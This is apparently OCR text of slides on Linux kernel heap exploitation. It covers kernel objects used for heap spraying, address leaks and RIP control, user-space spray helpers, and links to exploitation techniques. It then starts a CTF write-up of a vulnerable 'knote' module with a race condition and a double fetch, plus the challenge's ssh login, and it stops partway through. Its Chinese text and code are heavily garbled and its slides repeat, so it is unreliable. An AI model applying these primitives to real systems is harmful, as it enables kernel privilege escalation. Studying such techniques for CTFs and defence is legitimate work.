Cmd ﬁ%?T/I\‘EJ handler long keyctl _read_key(key_serial_t keyid, char __user xbuffer, size_t buflen)
{
key data_len = (buflen <= PAGE_SIZE) ? buflen : 0;
_ L . for (;;) {
@ ZHEF o E—I% memory 1% key payload if (kev data len

key_data = kvmalloc(key_data_len, GFP_KERNEL);
iT ( E'r\cy_daLa) {

ret = —-ENOMEM;

Z [FNU ¥ FE type B read handler goto key_put_out;

] }

d K

R -

ret = __keyctl_read_key(key, key_data, key_data_len);
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Helpful Struct

user_key payload - read_key

P keyctl_read - read a key

@ syscall keyctl F28{LUHR key B ioctl » BEIRIEARERY

— long user_read(const struct key xkey, char xbuffer, size_t buflen)
cmd #1T-A[E handler {
const struct user_key_payload *upayload;
long ret;
@ 56%%? H%%\EB :I::jl—\ memory ﬁ key payIOad upayload = user_key_payload_locked(key) ;

ret = upayload—>datalen;

Z 1041 & type # read handler | oo retun the gt o i

if (buflen > upayload—>datalen
buflen = upayload—>datalen;

@ [E

L —

memcpy (buffer, upayload->data, buflen);
+

return ret;
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Helpful Struct

user_key payload - revoke key / unlink_key

P
P
P keyctl_revoke - marks a key as being revoked

2 keyctl_unlink - unlink a key to/from a keyring

@ gc ERAAEE rcu TS » MBRENGCIEES

void free_key(int index)

{

keyctl_revoke(keys [index]);
keyctl _unlink(keys |[index|, KEY_SPEC_PROCESS_KEYRING);
sleep(1); gc

¥
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Helpful Struct

user_key payload - revoke key / unlink_key

P add_key - add a key to the kernel's key management facility
P keyctl_read - read a key

P keyctl_revoke - marks a key as being revoked

2 keyctl_unlink - unlink a key to/from a keyring

void user_revoke(struct key xkey)

1 static void user_free_payload_rcu(struct rcu_head xhead)
struct user_key_payload *xupayload = user_key_payload_locked(key);

{
clear the quota struct user_key_payload *payload;
key_payload_reserve(key, 0);
if (upayload) { payload = container_of(head, struct user_key_payload, rcu);
rcu_assign_keypointer(key, NULL); kfree_sensitive(payload);
call_rcu(&upayload—->rcu, user_free_payload_rcu); }

}
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Helpful Struct

user_key payload

{1 : leak address

@ MR datalen A unsigned short » &% Oxffff » ELHEEBTEEEEPEEMINENH E R

@ Read key RIAZEEH 1T

@ EIEFHAIIE » EEEAX/VFIIE > #AME A pointer (rcu) » (BFEERAZHIER

struct user key payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this dat

char data[] _ aligned(___alignof (u64));
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Helpful Struct
pipe_buffer

> K/J\: 0x280 (kmalloc-cg-1k)
» FROM : GFP_KERNEL_ACCOUNT

> ADDRESS - struct pipe buffer {

struct page *page;
unsigned int offset, len;

@ ops - kernel address , ,
const struct pipe buf operations *ops;

unsigned int flags;
unsigned long private;
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Helpful Struct
pipe_buffer

2 pipe - 1L pipe

: : void alloc_pipe_buff(int index)

P write - populate pipe )

if (pipe(pipefd[index]) < 0)
perror_exit("pipe");

P close - [z pipe

populate
if (write(pipefd[index][1], "XXXXX", 5) < 0)
perror_exit("write pipefd");

}

void release_pipe_buff(int index)

{
close(pipefd|index] [0]);
close(pipefd[index] [1]);
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Helpful Struct
pipe_ buffer - pipe

SYSCALL_DEFINE1(pipe, int __user x, fildes)

: : {
4 plpe - @H plpe return do_pipe2(fildes, 0);

P write - populate pipe

static int do_pipe2(int __user xfildes, int flags)

: {
P close - I%% PIPE struct file xfiles[2];

int fd[2];
int error;

error = __do_pipe_flags(fd, files, flags);

static int __do_pipe_flags(int *xfd, struct file xxfiles, int flags)

{

int error;
int fdw, fdr;

if (flags & ~(0_CLOEXEC | O_NONBLOCK | O_DIRECT | O_NOTIFICATION_PIPE))
return —-EINVAL;

error = create_pipe_files(files, flags);

if (error)
return error;
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Helpful Struct
pipe_ buffer - pipe

P plpe - @H plpe int create_pipe_files(struct file xxres, int flags)
{
: . : struct inode xinode = get_pipe_inode();
P write - populate pipe et file wfi
int error;

P close - @ pipe

static struct inode * get_pipe_inode(void)
{
struct inode *xinode = new_inode_pseudo(pipe_mnt->mnt_sb);
struct pipe_inode_info *pipe;
inode—>i_ino = get_next_ino();
pipe = alloc_pipe_info();
inode—->i_pipe = pipe;
pipe->files = 2;
pipe->readers = pipe->writers = 1;
inode—>1i_fop = &pipefifo_fops;
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Helpful Struct

pipe_ buffer - pipe

? plpe — @H p|pe struct pipe_inode_info *alloc_pipe_info(void)

{
struct pipe_inode_info xpipe;
; : unsigned long pipe_bufs = PIPE_DEF_BUFFERS; 16
B write - populate pipe
pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
pipe—>bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
? CIOSG _ E% plpe GFP_KERNEL_ACCOUNT) ;

struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
unsigned int head;
unsigned int tail;
unsigned int max_usage;

pipe_buffer-0

pipe_buffer-1

unsigned int ring_size;

pipe_buffer-15
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const struct file_operations pipefifo_fops = {

Helpful Struct .

pipe_bUﬁer - Write . LLseek = no_llseek,

.read_iter = pipe_read,
_ - _ .write_iter = pipe_write,
9 plpe - %ET‘T plpe .poll = pipe_poll,

.unlocked_ioctl = pipe_ioctl,

.release = pipe_release,
P write - populate pipe EEG SRR
.splice_write = iter_file_splice_write,

i

@ fcE—1@E tmp page

static ssize_t
pipe_write(struct kiocb xiocb, struct iov_iter xfrom)

@ BEILAEIFER pipe_buffer Y e ) 4

head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)
? C|OS€ _ E% plpe unsigned int mask = pipe->ring_size - 1;
Ik struct pipe_buffer xbuf = &pipe->bufs[head & mask];
struct page xpage = pipe—->tmp_page;
int copied;

if (!page) {
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : —-ENOMEM;
break;
}
pipe->tmp_page = page;
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Helpful Struct

pipe_buffer - write

P pipe - E£1I pipe

P write - populate pipe

@ fcE—1@E tmp page

O HEZEIER pipe_buffer

P close - 78 pipe

/6

Insert i1t into the buffer array
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;



Helpful Struct

plpe_bUﬁer - ClOSG void free_pipe_info(struct pipe_inode_info *xpipe)

{
. + : unsigned int 1i;
P pipe - £17 PIpEe for (i = 0; i < pipe->ring_size; i++) {
struct pipe_buffer xbuf = pipe->bufs + ij;
: : if (buf->ops
? erte - pOPU|ate plpe pipe_buf_release(pipe, buf);
}
_ : if (pipe—>tmp_page)
P Close Eg plpe __free_page(pipe->tmp_page) ;
kfree(pipe->bufs);
@ EFESE pipe_buffer entry T IBAK | irectpiper

static void anon_pipe_buf_release(struct pipe_inode_info *xpipe,
struct pipe_buffer xbuf)

{
struct page *xpage = buf->page;
if (page_count(page) == 1 && !pipe->tmp_page)
pipe->tmp_page = page;
else
put_page(page);
}
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Helpful Struct
pipe_buffer

p {FFH A IL1 : leak kernel address

@ ops Fe[@E:

> {EFHAAI2 - ZFH RIP

@ B X ops tg[m) Al

static const struct pipe_buf_operations anon_pipe_buf_ops

b

. release
.try_steal
.get

27 anon_pipe_buf_ops

anon_pilpe_buf_release,
anon_pilipe_buf_try_steal,
generic_pilpe_buf_get,

/8
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Helpful Struct

poll_list
> K/J\v: 16 ~ 4096

@ Hj 0x10 A header > A~AJ}%E

» FROM : GFP_KERNEL

» ADDRESS

@ next - heap address

/9

struct poll list ({
struct poll list *next;
int len;
struct pollfd entries| |;



Helpful Struct

poll_list
2 create nfds - number of fds

2 poll

pfds = calloc(nfds, sizeof(struct pollfd));
for (int 1 = 0; i < nfds; 1i++)
{
pfds!i|/.fd = poll_target_fd;
pfds|[i].events = POLLERR;
}

ret = poll(pfds, nfds, timer);
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Helpful Struct
poll_list - poll

2 poll

@ syscall handler - do_sys_poll

@ @H{EH local stack 1Z5¥A1] 30 & nfsd

@ poll_list &x% 2R85B PAGE_SIZE » RItEF
linked list SRFEZR

SYSCALL_DEFINE3(poll, struct pollfd _ _user %, ufds, unsigned int, nfds,
int, timeout_msecs)

{

ret = do_sys_poll(ufds, nfds, to);
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II f I tr t static int do_sys_poll(struct pollfd _ _user %ufds, unsigned int nfds,

- struct timespec64 xend_time)
poll_list - poll {

int err = -EFAULT, fdcount, len;
long stack_pps[POLL_STACK_ALLOC/sizeof(long)];

5’ ()Il struct poll_list *walk = head;
F) unsigned long todo = nfds;

len = min_t(unsigned int, nfds, N_STACK_PPS);

@ syscall handler - do_sys_poll for—r—
wa lLk—->next = NULL;
walk—>1len = len;

@ =S {FH local stack FhXAT 30 {[& nfsd if (!len
break;
' ' T if (co rom_user(walk-> ies, + - ’
@ pO”—IISt E%%R}%EE PAGE—SIZE ’ ?}ﬁﬂ:b - f i szzeof(s:}tctezzili:) :fz:lk—:{gz)mdo

linked list S2#E 3R goto out_fds;

todo —= walk—>1len;
if ('todo
break;

len = min(todo, POLLFD_PER PAGE);
walk = walk—>next = kmalloc(struct_size(walk, entries, len),
GFP_KERNEL) ;
if ('walk
err = —ENOMEM;
goto out_fds;
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II f I tr t static int do_sys_poll(struct pollfd _ _user %ufds, unsigned int nfds,

= struct timespec64 xend_time)
poll_list - poll {

int err = -EFAULT, fdcount, len;
long stack_pps[POLL_STACK_ALLOC/sizeof(long)];

2 poll struct poll list *walk = head;
F) unsigned long todo = nfds;

len = min_t(unsigned int, nfds, N_STACK_PPS);

@ syscall handler - do_sys_poll for (;3) {

wa lk—>next = NULL;
walk—>1len = len;

@ =S{¥H local stack /#5XA] 30 {@& nfsd if (1len
break;
: =l <7 [] &t /, if (copy_from_user(walk->entries, ufds + nfds-todo,
@ pO”—IISt Eﬁﬁ/\ﬁlbg PAGE—SIZE ’ ﬁgz‘u:l‘—' - sizeof(struct pollfd) * walk->1len)
linked list E%@;}E goto out_fds;
todo —= walk->len;
if (!todo
break;

len = min(todo, POLLFD_PER_PAGE);
walk = walk—>next = kmalloc(struct_size(walk, entries, len),
GFP_KERNEL) ;
if ('walk
err = —ENOMEM;
goto out_fds;
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Helpful Struct

poll_list

p {FFAH A1 : leak heap address

@ next pointer 58 F—1&

poll_list

struct poll list {
struct poll list *next;

int len;
struct pollfd entries| |;

pollfd-0

Pollfd-29

on stack

84

struct poll list ({
struct poll list *next;
int len;
struct pollfd entries| |;

pollfd-0

Pollfd-509

on heap
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Helpful Struct

poll_list
> FRAAIN2 ¢ (EEFEN gadget

@ UWIREEIE next pointer » Fi,A] AFERIE ERVEC IE B2 It

SR

O BE AL partial overwrite

out fds:
walk = head->next;
while (walk) {
struct poll_list *xpos = walk;
walk = walk->next;
kfree(pos);
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Helpful Struct

pg_vec

B K/J\ i 27order * count ~ order > 10

» FROM : buddy system

> EAAIV:

® PEARK=HIEER page » drain the buddy system
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Helpful Struct

pg_vec

2 socket - 17 SOCK RAW socket

> setsockopt - & PACKET_VERSION & TPACKET_V1

87

> setsockopt - #EiEEE PACKET _TX_RING Ko Bgal1E A/ N\HIEC B L



Helpful Struct

pg_vec
2 socket - Z1I SOCK RAW socket

P setsockopt - 528 PACKET _VERSION % TPACKET V1

P setsockopt - FEiB:xE PACKET _TX_RING K9 ol 1 A/ \BYEC (B B

socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);

if (socketfd < 0)
perror_exit("socket AF_PACKET");
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Helpful Struct

pg_vec

P socket - ZE1I SOCK RAW socket

> setsockopt - 558 PACKET_VERSION £ TPACKET _V1

b setsockopt - FEiEERE PACKET _TX_RING Ko ol 1 A/ \BYEC (B B

version = TPACKET V1;

if (setsockopt(socketfd, SOL PACKET, PACKET VERSION, &version, sizeof(version)) < 0)
perror_exit("setsockopt PACKET_VERSION");

89



Helpful Struct

pg_vec

P socket - E£1I SOCK RAW socket

P setsockopt - 558 PACKET _VERSION £ TPACKET V1

ic AT R/ \RYED

|
|

> setsockopt - FEiBExEH PACKET_TX_RING K7

S

{& table entry BIA/)\

/V

@ block size - 1

E*; assert(size % PAGE SIZE == 0);

@ block_nr - entry {EZ

memset(&req, @, sizeof(req));
req.tp_block_size = size;

2 . == req.tp_block_nr = count;
@ frame_SIZe B §E.III§’JZ PAG E_SIZE req.tp_frame_size = PAGE_SIZE;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
@ frame 1= tOta| Size / frame Size if (setsockopt(socketfd, SOL_PACKET, PACKET TX RING, &req, sizeof(req)) < 0)

perror_exit("setsockopt PACKET_TX_RING");
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Helpful Struct
pg_vec - PACKET_TX_ RING

> 3 user data %l kernel space

P

static int
packet_setsockopt(struct socket xsock, int level, int optname, sockptr_t optval,
unsigned int optlen)

switch (optname) {
case PACKET _RX RING:

switch (po->tp_version) {
case TPACKET_V1:
len = sizeof(req u.req);
break;
} else {
if (copy_from_sbckptr &req_u.req, optval, len)))
ret = -EFAULT;
else
ret = packet_set_ring(sk, &req_u, 0,
optname == PACKET_TX RING);
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Helpful Struct
pg_vec - PACKET_TX_ RING

b #E% user data %l kernel space

p ZEIL TX ring

static int
packet_setsockopt(struct socket xsock, int level, int optname, sockptr_t optval,
unsigned int optlen)

{

switch (optname) A
case PACKET _RX RING:

switch (po->tp_version) {
case TPACKET_V1:
len = sizeof(req_u.req);
break;
} else {
if (copy_from_shckptr &req_u.req, optval, len)))
ret = -EFAULT;
else

ret = packet_set_ring(sk, &req_u, 0,
optname == PACKET_TX_RING);
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Helpful Struct
pg_vec - PACKET_TX_ RING

> FIL TXring

\ y .
% Hy1§'= tp_bIOCk_Slze E/\j order static int packet_set ring(struct sock xsk, union tpacket_req u *reg u,

int closing, int tx_ring)

{
@ o page vector
if (reg->tp_block_nr) {
switch (po->tp_version
case TPACKET_V1:
po—>tp_hdrlen = TPACKET HDRLEN;
break;

. some check
order = get_order(req->tp_block_size);
pg_vec = alloc_pg_vec(req, order);
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Helpful Struct
pg_vec - PACKET_TX_ RING

> FIL TXring

\ / .
% HX{;E'- tp_blOCk_Slze H/\J order static int packet set ring(struct sock xsk, union tpacket req u *req u,

int closing, int tx_ring)

{
@ o page vector
if (reg->tp_block_nr) {
switch (po->tp_version
case TPACKET_V1:
po—>tp_hdrlen = TPACKET HDRLEN;
break;

. some check
order = get_order(req->tp_block_size);
pg_vec = alloc_pg_vec(req, order);
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Helpful Struct
pg_vec - PACKET_TX_ RING

> FIL TXring

@ Hy?g: tp_blOCk_S'Ze E/\] Order itatic struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)

unsigned int block_nr = reg->tp_block_nr;
struct pgv *xpg_vec;

@ it page vector int 1;
pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __ GFP_NOWARN) ;
> e block {E entry B9 vector if (unlikely(1pg vec))
goto out;

/= = B NOA 1] |2z Eeh for (i = 0; i < block_nr; i++) {
> — 13 entry j:ErET-I ij“ 2 Order E/\J I:IB '§‘EE pg_vecl|i].buffer = alloc_one_pg_vec_pagelorder);

'7‘E|5ﬂ if (unlikely(!pg_vec[i].buffer)

T |8

goto out_free_pgvec;

out:
return pg_vec;
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Helpful Struct
pg_vec - PACKET_TX_ RING

> FIL TXring

@ Hy?g: tp_blOCk_S'Ze E/\] Order itatic struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)

unsigned int block_nr = reg->tp_block_nr;
struct pgv *xpg_vec;

@ ofc page vector int i;
pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | _ GFP_NOWARN);
> FC block 1@ entry F vector if (untkely(1pg_vec))
goto out;

r

‘ = | A 2 == Beh for (i = 0; i < block_nr; i++) {
13 entry j:ErET-' :I:J 2 Order E/\J HE 'E‘EE pg_vecl|i]|.buffer = alloc_one_pg_vec_pagel(order);
Fﬁ if (unlikely(!pg_vec[i].buffer)
=

goto out_free_pgvec;

>

H o

-

out:
return pg_vec;
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Helpful Struct

pg_vec - PACKET _TX RING
> I TX ring

o B3

tp_block_size B order

@ 7o page vector

static char *alloc_one_pg_vec_page(unsigned long order)
{

char xbuffer;
> FC block & entry B vector

gfp_t gfp_flags = GFP_KERNEL | __ GFP_COMP |
__GFP_ZERO | __GFP_NOWARN | __ _GFP_NORETRY;
> H1[E entry }5[0—1R 2/ order NG [EfS
= [E]

buffer = (char %) |__get_free_pages(gfp_flags, order);
if (buffer)

return buffer;
324 buddy system Hi5

T
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Helpful Struct

pg_vec - release

—— static int packet_release(struct socket *sock)
» HEEEE close socket Bl o] EY {

\ A e - Ing. {
B H%‘ request *11%559% O if (po->tx_ring.pg_vec)

memset (&req u, @, sizeof(req u));
packet_set _ring(sk, &req u, 1, 1

@ FEFTAER vector entry ) - '

release sock(sk);

out_free_pg_vec:
if (pg_vec) {
bitmap_freelrx_owner_map);
free_pg_vecipg_vec, order, req->tp_block_nr);

S
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Helpful Struct

pg_vec - release

—— static int packet_release(struct socket *sock)
» HEEEE close socket Bl o] EY {
3 H%‘ request 1;&511\[%'3%&% 0 if (po->tx_ring.pg_vec) 1

memset (&req u, @, sizeof(req u));
packet_set _ring(sk, &req u, 1, 1

@ FENLFRAERY vector entry } - '

release sock(sk);

out_free_pg_vec:
if (pg_vec) {
bitmap_freelrx_owner_map);
free_pg_vecipg_vec, order, req->tp_block_nr);

S
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Helpful Struct

sendmsg
> K/ 32 ~ 20480

» FROM : GFP_KERNEL

> {ERAE
@ Memory FRBBVEEF AT

@ BEEREH userfault fd » iE{F,

18 A DAET

5 memory BYFE R BT
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Helpful Struct

sendmsg

SYSCALL_DEFINE3(sendmsg, int, fd, struct user_msghdr __user %, msg, unsigned int, flags)
{

return __sys_sendmsg(fd, msg, flags, true);

static int sys_sendmsg(struct socket xsock, struct msghdr *xmsg_sys,
unsigned int flags, struct used_address *used_address,
unsigned int allowed_msghdr_flags)

{
if (ctl _len > sizeof(ctl)) {
ctitbul="sock_Kmattoc(sock—->sk, ctl_len, GFP_KERNEL);
if (ctl _buf == NULL)
goto out;
+
err = —EFAULT;
if (copy_from_user(ctl_buf, msg_sys->msg_control_user, ctl_len))
goto out_freectl;
msg_sys—>msg_control = ctl_buf;
msg_sys—>msg_control_is_user = false;
+
I sock _kfree s(sock->sk, ctl buf, ctl_len);
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Helpful Struct

sendmsg

HY1§ upper bound sysctl_optmem_max
void *sock_kmalloc(struct sock xsk, int size, gfp_t priority)

@ 20480 ¢

int optmem_max = READ_ONCE(sysctl_optmem_max) ;

/'\EE = = Eji_ if ( uns;gned int)size <= optmem_max &&'
IGA S atomic_read(&sk->sk_omem_alloc) + size < optmem_max) {
void *xmem;

First do the add, to avoid the race if kmalloc
* might sleep.

atomic_add(size, &sk—->sk_omem_alloc);
mem = kmalloc(size, priority);
if (mem
return mem,;
atomic_sub(size, &sk->sk_omem_alloc);

F
return NULL;
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Helpful Struct

sendmsg

Z

Z

HX1

)

7=

ACEC

L
=]
JJARY

F upper bound sysctl_optmem_max

el [o] &

103

void xsock_kmalloc(struct sock xsk, int size, gfp_t priority)

{

int optmem_max = READ_ONCE(sysctl_optmem_max) ;

if ((unsigned int)size <= optmem_max &&
atomic_read(&sk->sk_omem_alloc) + size < optmem_max) {
void xmem;
First do the add, to avoid the race if kmalloc
* might sleep.

atomic_add(size, &sk—->sk_omem_alloc);
mem = kmalloc(size, priority);
if (mem
return mem,;
atomic_sub(size, &sk->sk_omem_alloc);

F
return NULL;



Helpful Struct

setxattr

B K/Vv: 1 ~65535

» FROM : GFP_KERNEL / GFP_USER (new version)

> {ERAE
@ Memory FRBBVEEF AT

@ BEEREH userfault fd » iE{F,

18 A DAET

5 memory BYFE R BT
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Helpful Struct

setxattr

2 sexattr - set an extended attribute value

@ data - & spray & #

@ size - BRI/ 5 BB kernel D EEHEEERE A/ N\

@ XATTR_CREATE - {1 R ZiEEER, fail

void setxattr(char xdata, int size)

{
if (setxattr("/home/user/.bashrc", "user.x", data, size, XATTR_CREATE) == -1)

perror_exit("setxattr /home/user/.bashrc");
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Helpful Struct

setxattr

SYSCALL_DEFINE5(setxattr, const char __user %, pathname,

const char _ _user %, name, const void _ _user *, value,
size_t, size, int, flags)

return path_setxattr(pathname, name, value, size, flags, LOOKUP_FOLLOW);

static int path_setxattr(const char __user xpathname,
const char __user xname, const void __user xvalue,
size_t size, int flags, unsigned int lookup_flags)

{
struct path path;
int error;
retry:
error = user_path_at(AT_FDCWD, pathname, lookup_flags, &path);
if (error)

return error;
error = mnt_want_write(path.mnt);
if ('error) {
error = setxattr(mnt_idmap(path.mnt), path.dentry, name,
value, size, flags);
mnt_drop_write(path.mnt);
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t tt static long
Se xa r setxattr(struct mnt_idmap xidmap, struct dentry xd,
const char __user xname, const void __user xvalue, size_t size,
TR R FERX i
EE&E%EEER‘L = 1/ /
error = setxattr_copy(name, &ctx);
error = do_setxattr(idmap, d, &ctx);

» GFP_USER IR GFP_KERNEL REHEZT [t e
_ GFP_HARDWALL

> BT attribute 1250

int setxattr_copy(const char __user xname, struct xattr_ctx xctx)

@ enforces the cpuset memory allocation policy ;

if (ctx->size) {

ctx—>kvalue = vmemdup_user(ctx—>cvalue, ctx—->size);
if (IS_ERR(ctx->kvalue)

error = PTR_ERR(ctx->kvalue);

ctx—>kvalue = NULL;

void xvmemdup_user(const void __user xsrc, size_t len)

{

void *p;
p = kvmalloc(len, GFP_USER);
I7Tp)

return ERR_PTR(-ENOMEM) ;

if (copy_from_user(p, src, len)) {

107



Exploitation Technique

2 DirtyCred : https://i.blackhat.com/USA-22/Thursday/US-22-Lin-Cautious-A-New-
Exploitation-Method.pdf

@ Data only

P pipe-primitive : https://github.com/veritas501/pipe-primitive

» USMA @ https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-YongLiu-USMA-
Share-Kernel-Code.pdf

P Cross cache attack : https://www.willsroot.io/2022/08/reviving-exploits-against-
cred-struct.html

2 Unlinking attack : https://starlabs.sg/blog/2022/06-i0 uring-new-code-new-bugs-
and-a-new-exploit-technique/
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Challenge

Environment

? 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2

» Debian 5.10.149-2 kernel github - 25 config BAK distribution patch F &

> FEZ debian/config/config 40 4ms= kernel BFHY config option
@ CONFIG_SLAB_FREELIST_RANDOM=y T

@ CON FIG_S LAB_FREELIST_HARDEN ED=y It's more krazy in the kernel...

ssh -p 54321 knote@35.238.182.189
password: knote

@ CONFIG_USERFAULTFD=y

Resources are limited, please work on local first.

Author: Billy

12 Teams solved.
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https://salsa.debian.org/kernel-team/linux/-/tree/debian/5.10.149-2?ref_type=tags

Challenge

Recon

» QEMU script 3228 SMP : 157E cores=2, threads=2
» Kernel module By ioctl 2 unlocked A= locked

> —Rx{EARE ] LAM{ER userfault fd
? RACE CONDITION'!

» static struct file_operations drv_fops = {
open : drv_open,
unlocked 1octl : drv _unlocked 1octl
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Challenge

Recon

> B ioctl cd &P E{E struct node *table[0x10]

2 struct node B?,,%QU_F : struct node
{

@ Key - get_random_bytes B4 IREIEE uint64_t key;

uinté4 _t size;
uint64 _t addr;

@ Size - &xZ g0l Ox1ff (255) }s

@ Addr - [#FINZ @AY data ALk

if (copy_from_user(&data, (struct ioctl_arg _ _user x)arg, sizeof(data)))

b ioctl # &5t copy_from_user » PRI index o
Ed size BY1E » REIUL)R BRI EERY out-of-bound | goto dones
EE% double fetCh 55555 data.idx &= 0Oxf;

data.size &= Ox1ff;
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Challenge

Cmd1. ADD

2 ¥ empty table slot

> 9B node &5t&E

> #1F size LARREX 8 bytes random key

> ol K/\A size BIEC
> EEINNRE R

> HN%% data pointer

HH2 addr

112

case I0_ADD:
data.idx = -1;

for (1 = 0; 1 < 0x10; i++) {
if ('table[i]l) {
data.idx = 1i;

break;
Iy
}
if (data.idx == -1) {
ret = —ENOMEM;
goto done;
}

table[data.idx] = (struct node x)kzalloc(sizeof(struct node), GFP_KERNEL);

table[data.idx]->size = data.size;
get_random_bytes(&table[data.idx]—->key, sizeof(tableldata.idx]->key));
addr = (uint64_t)kzalloc(data.size, GFP_KERNEL);
ret = copy_from_user(buf, (void __ user x)data.addr, data.size);
for (1 = 0; 1 *x 8 < data.size; i++)

buf[i] ~= table[data.idx]—->key;
memcpy((void x)addr, (void x)buf, data.size);
table[data.idx]—>addr = addr ~ table[data.idx]—>key;



Challenge

Cmd1. ADD

P

¥ empty table slot

o BE node Z51&

{#1F size AR E4X 8 bytes random key

Dlc K/NA size AIED
BT INBER

N%% data pointer

HH2 addr

113

case I0_ADD:
data.1idx = -1;
for (i = 0; i < 0x10; i++) {
if (!tableli]) {
data.idx = 1i;

break;
Iy
}
if (data.idx == -1) {
ret = —ENOMEM;
goto done;
}

table[data.idx] = (struct node x)kzalloc(sizeof(struct node), GFP _KERNEL);
table[data.idx]->size = data.size;
get_random_bytes(&table[data.idx]—->key, sizeof(tableldata.idx]->key));
addr = (uint64_t)kzalloc(data.size, GFP_KERNEL);
ret = copy_from_user(buf, (void __ user x)data.addr, data.size);
for (1 = 0; 1 *x 8 < data.size; i++)

buf[i] ~= table[data.idx]—->key;
memcpy((void x)addr, (void x)buf, data.size);
table[data.idx]—>addr = addr ~ table[data.idx]—>key;



Challenge

Cmd1. ADD

2 ¥ empty table slot

P ofc node &8

|

> #1F size LARREX 8 bytes random key

> Dl X/\A size BYEE
> ERNINZRER

> HN%% data pointer

HH2 addr
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case I0_ADD:
data.idx = -1;

for (1 = 0; 1 < 0x10; i++) {
if ('table[i]l) {
data.idx = 1i;

break;
Iy
}
if (data.idx == -1) {
ret = —ENOMEM;
goto done;
}

table[data.idx] = (struct node x)kzalloc(sizeof(struct node), GFP _KERNEL);

table[data.1dx]—->s1ze = data.size;
get_random_bytes(&table[data.idx]—->key, sizeof(tableldata.idx]->key));
addr = (uint64_t)kzalloc(data.size, GFP_KERNEL);
ret = copy_from_user(buf, (void __ user x)data.addr, data.size);
for (1 = 0; 1 *x 8 < data.size; i++)

buf[i] ~= table[data.idx]—->key;
memcpy((void x)addr, (void x)buf, data.size);
table[data.idx]—>addr = addr ~ table[data.idx]—>key;



Challenge

Cmd1. ADD

2 ¥ empty table slot

> 9B node &5t&E

b {#1F size AREX 8 bytes random key

> Dl X/\A size BYEE
> ERNINZRER

> HN%% data pointer

HH2 addr
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case I0_ADD:
data.idx = -1;

for (i = 0; i < 0x10; i++) {
if (!tablelil) {
data.idx = 1i;

break;
s
}
if (data.idx == -1) {
ret = —-ENOMEM;
goto done;
}

table[data.idx] = (struct node x)kzalloc(sizeof(struct node), GFP _KERNEL);

table[data.idx]->size = data.size;
get_random_bytes(&table[data.idx]—->key, sizeof(tableldata.idx]->key));
addr = (uint64_t)kzalloc(data.size, GFP_KERNEL);
ret = copy_from_user(buf, (void __user x)data.addr, data.size);
for (1 = 0; 1 *x 8 < data.size; i++)

buf[i] ~= table[data.idx]->key;
memcpy((void x)addr, (void x)buf, data.size);
table[data.idx]—>addr = addr ~ table[data.idx]->key;



Challenge

Cmd1. ADD

2 ¥ empty table slot

> 9B node &5t&E

> #1F size LARREX 8 bytes random key

I

b plcK/\A size BYEE
> EEINNRE R

> HN%% data pointer

HHZ addr
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case I0_ADD:
data.idx = -1;

for (1 = 0; 1 < 0x10; i++) {
if ('table[i]) {
data.idx = 1i;

break;
s
}
if (data.idx == -1) {
ret = —-ENOMEM;
goto done;
}

table[data.idx] = (struct node x)kzalloc(sizeof(struct node), GFP _KERNEL);

table[data.idx]->size = data.size;
aet_random_bvtes(&tahleldata.idx]l—>kev. sizeof(tahle[data.idx]—>key));
addr = (uint64_t)kzalloc(data.size, GFP_KERNEL);
ret = copy_trom_user(buf, (void __user *)data.addr, data.size);
for (1 = 0; 1 *x 8 < data.size; i++)

buf[i] ~= table[data.idx]—->key;
memcpy((void x)addr, (void x)buf, data.size);
table[data.idx]—>addr = addr ~ table[data.idx]->key;



Challenge

Cmd1. ADD

2 ¥ empty table slot

case I0_ADD:
data.idx = -1;
for (1 = 0; 1 < 0x10; i++) {

2 B node ,%:IE = if (1tablelil)
data.idx = i;
break;

A . }
> #1F size LARREX 8 bytes random key }
if (data.idx == -1) {
I\ _ R ret = —ENOMEM;
> SEAINS size HISIEEE addr e

table[data.idx] = (struct node x)kzalloc(sizeof(struct node), GFP _KERNEL);
ENE =/ ]IS table[data.idx]->size = data.size;
9 %g%\zlﬁbu \E\/'l'\ll- get_random_bytes(&table[data.idx]—>key, sizeof(tablel|data.idx]|->key));
addr = (uint64_t)kzalloc(data.size, GFP_KERNEL);
ret = copy_from_user(buf, (void __user x)data.addr, data.size);
—— . for (i = 0; i *x 8 < data.size; i++)
» 0%} data pointer puf[1] ~= table[data. idx]->key;
memcpy((void x)addr, (void x)buf, data.size);
table[data.idx]—>addr = addr ~ table[data.idx]->key;

]

X

E
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Challenge

Cmd1. ADD

2 ¥ empty table slot

> 9B node &5t&E

> #1F size LARREX 8 bytes random key

> Dl X/\A size BYEE
> ERNINZRER

P 0% data pointer

HH2 addr
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case I0_ADD:
data.idx = -1;

for (1 = 0; 1 < 0x10; i++) {
if ('table[i]l) {
data.idx = 1i;

break;
Iy
}
if (data.idx == -1) {
ret = —ENOMEM;
goto done;
}

table[data.idx] = (struct node x)kzalloc(sizeof(struct node), GFP _KERNEL);

table[data.idx]->size = data.size;
get_random_bytes(&table[data.idx]—->key, sizeof(tableldata.idx]->key));
addr = (uint64_t)kzalloc(data.size, GFP_KERNEL);
ret = copy_from_user(buf, (void __ user x)data.addr, data.size);
for (1 = 0; 1 *x 8 < data.size; i++)

buf[i] ~= table[data.idx]—->key;
memcpy((void x)addr, (void x)buf, data.size);
table[data.idx]—>addr = addr ~ table[data.idx]—>key;



Challenge

Cmd2. EDIT
> EXiSE# 221207 data pointer
» HY4S node size

> ERTNEER

case 10 _EDIT:

if (tableldata.idx]) {
addr = tableldata.idx]->addr ~ tableldata.idx]->key;

size = tableldata.idx]->size & 0Ox1ff;
